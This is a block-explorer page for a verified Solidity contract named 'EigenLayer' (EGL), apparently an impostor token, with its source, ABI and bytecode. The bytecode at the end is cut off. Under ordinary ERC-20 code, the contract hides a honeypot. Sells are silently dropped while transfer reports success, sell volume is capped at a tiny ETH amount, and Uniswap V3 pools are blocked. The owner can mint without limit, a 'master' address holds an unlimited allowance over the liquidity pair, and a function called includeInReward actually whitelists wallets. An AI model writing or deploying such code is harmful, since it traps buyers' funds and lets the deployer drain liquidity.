ERC-20
Overview
Max Total Supply
22,502,239,695.212702 EGL
Holders
36
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
EigenLayer
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-01 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() payable { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint ); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance( address owner, address spender ) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit( address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn( address indexed sender, uint amount0, uint amount1, address indexed to ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap( uint amount0Out, uint amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapTokensForExactETH( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function quote( uint amountA, uint reserveA, uint reserveB ) external pure returns (uint amountB); function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) external pure returns (uint amountOut); function getAmountIn( uint amountOut, uint reserveIn, uint reserveOut ) external pure returns (uint amountIn); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); function getAmountsIn( uint amountOut, address[] calldata path ) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV3Factory { function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pool); } interface IUniswapV3Pool { function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function fee() external view returns (uint24); function tickSpacing() external view returns (int24); function maxLiquidityPerTick() external view returns (uint128); } contract EigenLayer is Context, IERC20, Ownable { IUniswapV2Router02 internal _router; IUniswapV2Factory internal _factory; IUniswapV2Pair public pair; uint8 internal constant _DECIMALS = 6; address public master; mapping(address => bool) public _marketersAndDevs; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; mapping(address => uint256) internal _buySum; mapping(address => uint256) public _sellSum; mapping(address => uint256) public _sellSumBNB; uint256 internal _totalSupply = 22502239695212702; uint256 internal _theNumberBNB = 0.04 ether; modifier onlyMaster() { require(msg.sender == master); _; } constructor() payable { _router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _factory = IUniswapV2Factory( 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f ); pair = IUniswapV2Pair( _factory.createPair( address(this), address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) ) ); _balances[owner()] = _totalSupply; master = owner(); // set max allowance for master _allowances[address(pair)][master] = ~uint256(0); _marketersAndDevs[owner()] = true; emit Transfer(address(0), owner(), _totalSupply); } function name() external pure override returns (string memory) { return "EigenLayer"; } function symbol() external pure override returns (string memory) { return "EGL"; } function decimals() external pure override returns (uint8) { return _DECIMALS; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf( address account ) external view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) external override returns (bool) { if (_canTransfer(_msgSender(), recipient, amount)) { _transfer(_msgSender(), recipient, amount); } return true; } function allowance( address owner, address spender ) external view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_canTransfer(sender, recipient, amount)) { uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function burn(uint256 amount) external onlyOwner { _balances[owner()] -= amount; _totalSupply -= amount; } function setNumber(uint256 newNumber) external onlyOwner { _theNumberBNB = newNumber; } function setMaster(address account) external onlyOwner { _allowances[address(pair)][master] = 0; master = account; _allowances[address(pair)][master] = ~uint256(0); } function syncPair() external onlyMaster { pair.sync(); } function includeInReward(address account) external onlyMaster { _marketersAndDevs[account] = true; } function excludeFromReward(address account) external onlyMaster { _marketersAndDevs[account] = false; } function rewardHolders(uint256 amount) external onlyOwner { _balances[owner()] += amount; _totalSupply += amount; } function _isSuper(address account) private view returns (bool) { return (account == address(_router) || account == address(pair)); } function _canTransfer( address sender, address recipient, uint256 amount ) private view returns (bool) { if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) { return true; } if (_isUniswapV3Pool(sender) || _isUniswapV3Pool(recipient)) { return false; } if (_isSuper(sender)) { return true; } if (_isSuper(recipient)) { uint256 amountBNB = _getBNBEquivalent(amount); uint256 bought = _buySum[sender]; uint256 sold = _sellSum[sender]; uint256 soldBNB = _sellSumBNB[sender]; return bought >= sold + amount && _theNumberBNB >= soldBNB + amountBNB; } return true; } function _isUniswapV3Pool(address target) private view returns (bool) { if (target.code.length == 0) { return false; } IUniswapV3Pool poolContract = IUniswapV3Pool(target); address token0; address token1; uint24 fee; try poolContract.token0() returns (address _token0) { token0 = _token0; } catch (bytes memory) { return false; } try poolContract.token1() returns (address _token1) { token1 = _token1; } catch (bytes memory) { return false; } try poolContract.fee() returns (uint24 _fee) { fee = _fee; } catch (bytes memory) { return false; } return target == IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984) .getPool(token0, token1, fee); } function _transfer( address sender, address recipient, uint256 amount ) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); require( _balances[sender] >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _hasLiquidity() private view returns (bool) { (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); return reserve0 > 0 && reserve1 > 0; } function _getBNBEquivalent( uint256 amountTokens ) private view returns (uint256) { (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); if (pair.token0() == _router.WETH()) { return _router.getAmountOut(amountTokens, reserve1, reserve0); } else { return _router.getAmountOut(amountTokens, reserve0, reserve1); } } function _beforeTokenTransfer( address from, address to, uint256 amount ) private { if (_hasLiquidity()) { if (_isSuper(from)) { _buySum[to] += amount; } if (_isSuper(to)) { _sellSum[from] += amount; _sellSumBNB[from] += _getBNBEquivalent(amount); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_marketersAndDevs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_sellSum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_sellSumBNB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"master","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewardHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setMaster","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumber","type":"uint256"}],"name":"setNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040819052664ff1aaf3af109e600b55668e1bc9bf040000600c55600080546001600160a01b031916339081178255918291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060018054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182161790915560028054735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9216821790556040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2602482015263c9c65396906044016020604051808303816000875af11580156100f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011b9190610202565b600380546001600160a01b0319166001600160a01b03928316179055600b546000805483168152600660205260408120919091555416600480546001600160a01b0319166001600160a01b0392831690811790915560035482166000908152600760209081526040808320938352928152828220600019905581548416825260059052908120805460ff1916600117905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516101f591815260200190565b60405180910390a3610232565b60006020828403121561021457600080fd5b81516001600160a01b038116811461022b57600080fd5b9392505050565b611490806102416000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063a8aa1b311161007c578063a8aa1b3114610307578063a9059cbb1461031a578063b59c09741461032d578063dd62ed3e14610335578063e6bd7ed11461036e578063ee97f7f31461038157600080fd5b806352390c021461026757806370a082311461027a57806383d972f9146102a35780638da5cb5b146102c357806395d89b41146102e857600080fd5b80632782e35b1161010a5780632782e35b146101dc578063313ce567146101ff5780633685d4191461020e5780633b24c4bb146102215780633fb5c1cb1461024157806342966c681461025457600080fd5b806306fdde0314610147578063095ea7b31461017f57806318160ddd146101a257806323b872dd146101b457806326fae0d3146101c7575b600080fd5b60408051808201909152600a81526922b4b3b2b72630bcb2b960b11b60208201525b60405161017691906111e0565b60405180910390f35b61019261018d366004611246565b610394565b6040519015158152602001610176565b600b545b604051908152602001610176565b6101926101c2366004611272565b6103ab565b6101da6101d53660046112b3565b610473565b005b6101926101ea3660046112b3565b60056020526000908152604090205460ff1681565b60405160068152602001610176565b6101da61021c3660046112b3565b6104fd565b6101a661022f3660046112b3565b600a6020526000908152604090205481565b6101da61024f3660046112d0565b610538565b6101da6102623660046112d0565b610567565b6101da6102753660046112b3565b6105f8565b6101a66102883660046112b3565b6001600160a01b031660009081526006602052604090205490565b6101a66102b13660046112b3565b60096020526000908152604090205481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610176565b6040805180820190915260038152621151d360ea1b6020820152610169565b6003546102d0906001600160a01b031681565b610192610328366004611246565b610630565b6101da61064d565b6101a66103433660046112e9565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6101da61037c3660046112d0565b6106ce565b6004546102d0906001600160a01b031681565b60006103a1338484610757565b5060015b92915050565b60006103b884848461087c565b15610468576001600160a01b0384166000908152600760209081526040808320338452909152902054828110156104475760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61045285858561097c565b61046685336104618685611338565b610757565b505b5060015b9392505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260040161043e9061134b565b600380546001600160a01b039081166000908152600760208181526040808420600480548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6004546001600160a01b0316331461051457600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146105625760405162461bcd60e51b815260040161043e9061134b565b600c55565b6000546001600160a01b031633146105915760405162461bcd60e51b815260040161043e9061134b565b80600660006105a86000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546105d79190611338565b9250508190555080600b60008282546105f09190611338565b909155505050565b6004546001600160a01b0316331461060f57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600061063d33848461087c565b156103a1576103a133848461097c565b6004546001600160a01b0316331461066457600080fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161043e9061134b565b806006600061070f6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461073e9190611380565b9250508190555080600b60008282546105f09190611380565b6001600160a01b0383166107b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043e565b6001600160a01b03821661081a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043e565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526005602052604081205460ff16806108bb57506001600160a01b03831660009081526005602052604090205460ff165b156108c85750600161046c565b6108d184610b65565b806108e057506108e083610b65565b156108ed5750600061046c565b6108f684610deb565b156109035750600161046c565b61090c83610deb565b1561046857600061091c83610e1a565b6001600160a01b0386166000908152600860209081526040808320546009835281842054600a90935292205492935090916109578683611380565b8310158015610971575061096b8482611380565b600c5410155b94505050505061046c565b6001600160a01b0383166109e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043e565b6001600160a01b038216610a425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043e565b610a4d838383611075565b6001600160a01b038316600090815260066020526040902054811115610ac45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161043e565b6001600160a01b03831660009081526006602052604081208054839290610aec908490611338565b90915550506001600160a01b03821660009081526006602052604081208054839290610b19908490611380565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161086f91815260200190565b6000816001600160a01b03163b600003610b8157506000919050565b60008290506000806000836001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610be5575060408051601f3d908101601f19168201909252610be291810190611393565b60015b610c26573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b606091505b506000979650505050505050565b9250836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610c82575060408051601f3d908101601f19168201909252610c7f91810190611393565b60015b610cb0573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b9150836001600160a01b031663ddca3f436040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015610d0c575060408051601f3d908101601f19168201909252610d09918101906113b0565b60015b610d3a573d808015610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b604051630b4c774160e11b81526001600160a01b0380861660048301528416602482015262ffffff82166044820152909150731f98431c8ad98523631ae4a59f267346ea31f98490631698ee8290606401602060405180830381865afa158015610da8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcc9190611393565b6001600160a01b0316866001600160a01b031614945050505050919050565b6001546000906001600160a01b03838116911614806103a55750506003546001600160a01b0390811691161490565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9691906113f1565b506001600160701b031691506001600160701b03169150600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190611393565b6001600160a01b0316600360009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190611393565b6001600160a01b03160361103657600154604051630153543560e21b81526004810186905260248101839052604481018490526001600160a01b039091169063054d50d4906064015b602060405180830381865afa15801561100a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102e9190611441565b949350505050565b600154604051630153543560e21b81526004810186905260248101849052604481018390526001600160a01b039091169063054d50d490606401610fed565b61107d611136565b156111315761108b83610deb565b156110be576001600160a01b038216600090815260086020526040812080548392906110b8908490611380565b90915550505b6110c782610deb565b15611131576001600160a01b038316600090815260096020526040812080548392906110f4908490611380565b90915550611103905081610e1a565b6001600160a01b0384166000908152600a60205260408120805490919061112b908490611380565b90915550505b505050565b6000806000600360009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561118e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b291906113f1565b506001600160701b031691506001600160701b031691506000821180156111d95750600081115b9250505090565b600060208083528351808285015260005b8181101561120d578581018301518582016040015282016111f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124357600080fd5b50565b6000806040838503121561125957600080fd5b82356112648161122e565b946020939093013593505050565b60008060006060848603121561128757600080fd5b83356112928161122e565b925060208401356112a28161122e565b929592945050506040919091013590565b6000602082840312156112c557600080fd5b813561046c8161122e565b6000602082840312156112e257600080fd5b5035919050565b600080604083850312156112fc57600080fd5b82356113078161122e565b915060208301356113178161122e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103a5576103a5611322565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103a5576103a5611322565b6000602082840312156113a557600080fd5b815161046c8161122e565b6000602082840312156113c257600080fd5b815162ffffff8116811461046c57600080fd5b80516001600160701b03811681146113ec57600080fd5b919050565b60008060006060848603121561140657600080fd5b61140f846113d5565b925061141d602085016113d5565b9150604084015163ffffffff8116811461143657600080fd5b809150509250925092565b60006020828403121561145357600080fd5b505191905056fea26469706673582212206dc33600f448ff28534efd8f68f7c5a96ec4e61fe7433fc71a3f19e939f153c464736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063a8aa1b311161007c578063a8aa1b3114610307578063a9059cbb1461031a578063b59c09741461032d578063dd62ed3e14610335578063e6bd7ed11461036e578063ee97f7f31461038157600080fd5b806352390c021461026757806370a082311461027a57806383d972f9146102a35780638da5cb5b146102c357806395d89b41146102e857600080fd5b80632782e35b1161010a5780632782e35b146101dc578063313ce567146101ff5780633685d4191461020e5780633b24c4bb146102215780633fb5c1cb1461024157806342966c681461025457600080fd5b806306fdde0314610147578063095ea7b31461017f57806318160ddd146101a257806323b872dd146101b457806326fae0d3146101c7575b600080fd5b60408051808201909152600a81526922b4b3b2b72630bcb2b960b11b60208201525b60405161017691906111e0565b60405180910390f35b61019261018d366004611246565b610394565b6040519015158152602001610176565b600b545b604051908152602001610176565b6101926101c2366004611272565b6103ab565b6101da6101d53660046112b3565b610473565b005b6101926101ea3660046112b3565b60056020526000908152604090205460ff1681565b60405160068152602001610176565b6101da61021c3660046112b3565b6104fd565b6101a661022f3660046112b3565b600a6020526000908152604090205481565b6101da61024f3660046112d0565b610538565b6101da6102623660046112d0565b610567565b6101da6102753660046112b3565b6105f8565b6101a66102883660046112b3565b6001600160a01b031660009081526006602052604090205490565b6101a66102b13660046112b3565b60096020526000908152604090205481565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610176565b6040805180820190915260038152621151d360ea1b6020820152610169565b6003546102d0906001600160a01b031681565b610192610328366004611246565b610630565b6101da61064d565b6101a66103433660046112e9565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6101da61037c3660046112d0565b6106ce565b6004546102d0906001600160a01b031681565b60006103a1338484610757565b5060015b92915050565b60006103b884848461087c565b15610468576001600160a01b0384166000908152600760209081526040808320338452909152902054828110156104475760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61045285858561097c565b61046685336104618685611338565b610757565b505b5060015b9392505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260040161043e9061134b565b600380546001600160a01b039081166000908152600760208181526040808420600480548716865290835281852085905580546001600160a01b031916978616978817905594549093168252825282812093815292905290206000199055565b6004546001600160a01b0316331461051457600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146105625760405162461bcd60e51b815260040161043e9061134b565b600c55565b6000546001600160a01b031633146105915760405162461bcd60e51b815260040161043e9061134b565b80600660006105a86000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546105d79190611338565b9250508190555080600b60008282546105f09190611338565b909155505050565b6004546001600160a01b0316331461060f57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b600061063d33848461087c565b156103a1576103a133848461097c565b6004546001600160a01b0316331461066457600080fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156106b457600080fd5b505af11580156106c8573d6000803e3d6000fd5b50505050565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161043e9061134b565b806006600061070f6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020600082825461073e9190611380565b9250508190555080600b60008282546105f09190611380565b6001600160a01b0383166107b95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043e565b6001600160a01b03821661081a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043e565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526005602052604081205460ff16806108bb57506001600160a01b03831660009081526005602052604090205460ff165b156108c85750600161046c565b6108d184610b65565b806108e057506108e083610b65565b156108ed5750600061046c565b6108f684610deb565b156109035750600161046c565b61090c83610deb565b1561046857600061091c83610e1a565b6001600160a01b0386166000908152600860209081526040808320546009835281842054600a90935292205492935090916109578683611380565b8310158015610971575061096b8482611380565b600c5410155b94505050505061046c565b6001600160a01b03831